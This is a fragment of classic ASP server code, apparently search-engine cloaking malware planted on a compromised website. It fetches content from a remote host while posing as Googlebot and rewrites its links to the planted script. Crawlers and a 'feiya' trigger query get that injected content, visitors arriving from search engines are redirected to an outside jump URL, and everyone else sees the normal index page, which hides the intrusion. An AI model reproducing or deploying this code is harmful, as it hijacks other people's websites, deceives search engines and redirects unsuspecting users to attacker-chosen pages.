Function GetHtml(url,k) agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"&k Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.setRequestHeader "User-Agent",agent ObjXMLHTTP.setRequestHeader "Referer", "https://www.google.com/" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "utf-8" GetHtml = objStream.ReadText objStream.Close End Function Function IsUserSearch() s_ref=Request.ServerVariables("HTTP_REFERER") If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then IsUserSearch = true else IsUserSearch = false end if End Function Function RegExpMatches(patrn, strng) Dim regEx, Match, Matches Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = True regEx.Global = True Set Matches = regEx.Execute(strng) Dim MyArray() Dim i i=0 For Each Match in Matches ReDim Preserve MyArray(i) MyArray(i)=Match.Value i=i-(-1) Next RegExpMatches = MyArray End Function Function RegExpReplace(html,patrn, strng) Dim regEx Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = True regEx.Global = True RegExpReplace=regEx.Replace(html,strng) End Function Function cDec(num) cDecstr=0 if len(num)>0 and isnumeric(num) then for inum=0 to len(num)-1 cDecstr=cDecstr-(-(2^inum*cint(mid(num,len(num)-inum,1)))) next end if cDec=cDecstr End Function Function OcB(num) OcBstr="" if len(num)>0 and isnumeric(num) then for i=1 to len(num) select case (mid(num,i,1)) case "0" OcBstr=OcBstr&"000" case "1" OcBstr=OcBstr&"001" case "2" OcBstr=OcBstr&"010" case "3" OcBstr=OcBstr&"011" case "4" OcBstr=OcBstr&"100" case "5" OcBstr=OcBstr&"101" case "6" OcBstr=OcBstr&"110" case "7" OcBstr=OcBstr&"111" end select next end if OcB=OcBstr End Function Function OcD(num) OcD=cDec(OcB(num)) End Function Function toOct(objMatch) toOct = "-"&rp&"-"&Oct(objMatch.subMatches(0))&"." End Function Function toDeOct(objMatch) toDeOct = "-p-"&OcD(objMatch.subMatches(0))&"." End Function Function toCOct(objMatch) toCOct = "-"&rc&"-"&Oct(objMatch.subMatches(0))&objMatch.subMatches(1) End Function Function toCDeOct(objMatch) toCDeOct = "-c-"&OcD(objMatch.subMatches(0))&objMatch.subMatches(1) End Function Function RegExpReplaceCall( reg, m, str, fstr) Dim Fun, Match, Matches, i, nStr, LastIndex If str & "" = "" Then Exit Function Set Fun = getRef(fstr) Set regEx = New RegExp regEx.Pattern = reg regEx.IgnoreCase = True regEx.Global = True Set Matches = regEx.Execute(str) LastIndex = 1 For Each Match In Matches If Match.FirstIndex>0 Then nStr = nStr & Mid(str, LastIndex, Match.FirstIndex-(-1)-LastIndex) End If nStr = nStr & Fun(Match) LastIndex = Match.FirstIndex-(-1)-(-Match.Length) Next nStr = nStr & Mid(str, LastIndex) RegExpReplaceCall = nStr End Function Function RegReplaceCall( reg, str, fstr) RegReplaceCall = RegExpReplaceCall(reg, "ig", str, fstr) End Function spider = is_spider() querystr = request.ServerVariables("QUERY_STRING") if spider = 1 or querystr = "feiya" then if querystr = "feiya" then querystr = "" end if if querystr <> "" then querystr = RegReplaceCall("-"&rp&"-(\d"&chr(43)&")\.",querystr,"toDeOct") querystr = RegReplaceCall("-"&rc&"-(\d"&chr(43)&")([\._])",querystr,"toCDeOct") htmls = GetHtml(desurl&querystr,"") else htmls = GetHtml(desurljiechi&querystr,"") end if htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl,"href=$1"&shellurl) desurl1 = RegExpReplace(desurl,"/$","") htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl1,"href=$1"&shellurl) htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])/","href=$1"&shellurl) htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])(?!http)","href=$1"&shellurl) htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&desurl,"src=$1"&shellurl) htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])/","src=$1"&shellurl) htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])(?!http)","src=$1"&shellurl) htmls = RegExpReplace(htmls,"url\((["&chr(34)&"'])","url($1"&shellurl) desurl2 = replace(desurl1,"http://www.","") desurl2 = replace(desurl2,"http://","") htmls = replace(htmls,desurl2,Request.ServerVariables("Http_Host"),1,-1,1) htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.css)","href=$1"&desurl&"$2") htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.ico)","href=$1"&desurl&"$2") htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&shellurl&"\?","src=$1"&desurl) shellurlrm = shellurl shellurlrm=replace(shellurlrm,"?","") htmls = RegExpReplace(htmls,shellurlrm&"\?(["&chr(34)&"'])",shellurlrm&"$1") htmls = RegReplaceCall("-p-(\d"&chr(43)&")\.",htmls,"toOct") htmls = RegReplaceCall("-c-(\d"&chr(43)&")([\._])",htmls,"toCOct") htmls = replace(htmls,"window.location.href","var jp") htmls = replace(htmls,"location.href",";var jp") response.write htmls response.end() else if IsUserSearch then if instr(jumpcode,".txt")>0 then jumpcode = GetHtml(jumpcode,"Mozi11a") tiaoarray=split(jumpcode,"?") if IsEmpty(tiaoarray(0)) then response.redirect jumpcode&"?"&shellurl else response.redirect tiaoarray(0)&"?"&shellurl end if end if end if end if response.write GetHtml("http://"&Request.ServerVariables("Http_Host")&"/index.php","Mozi11a") %>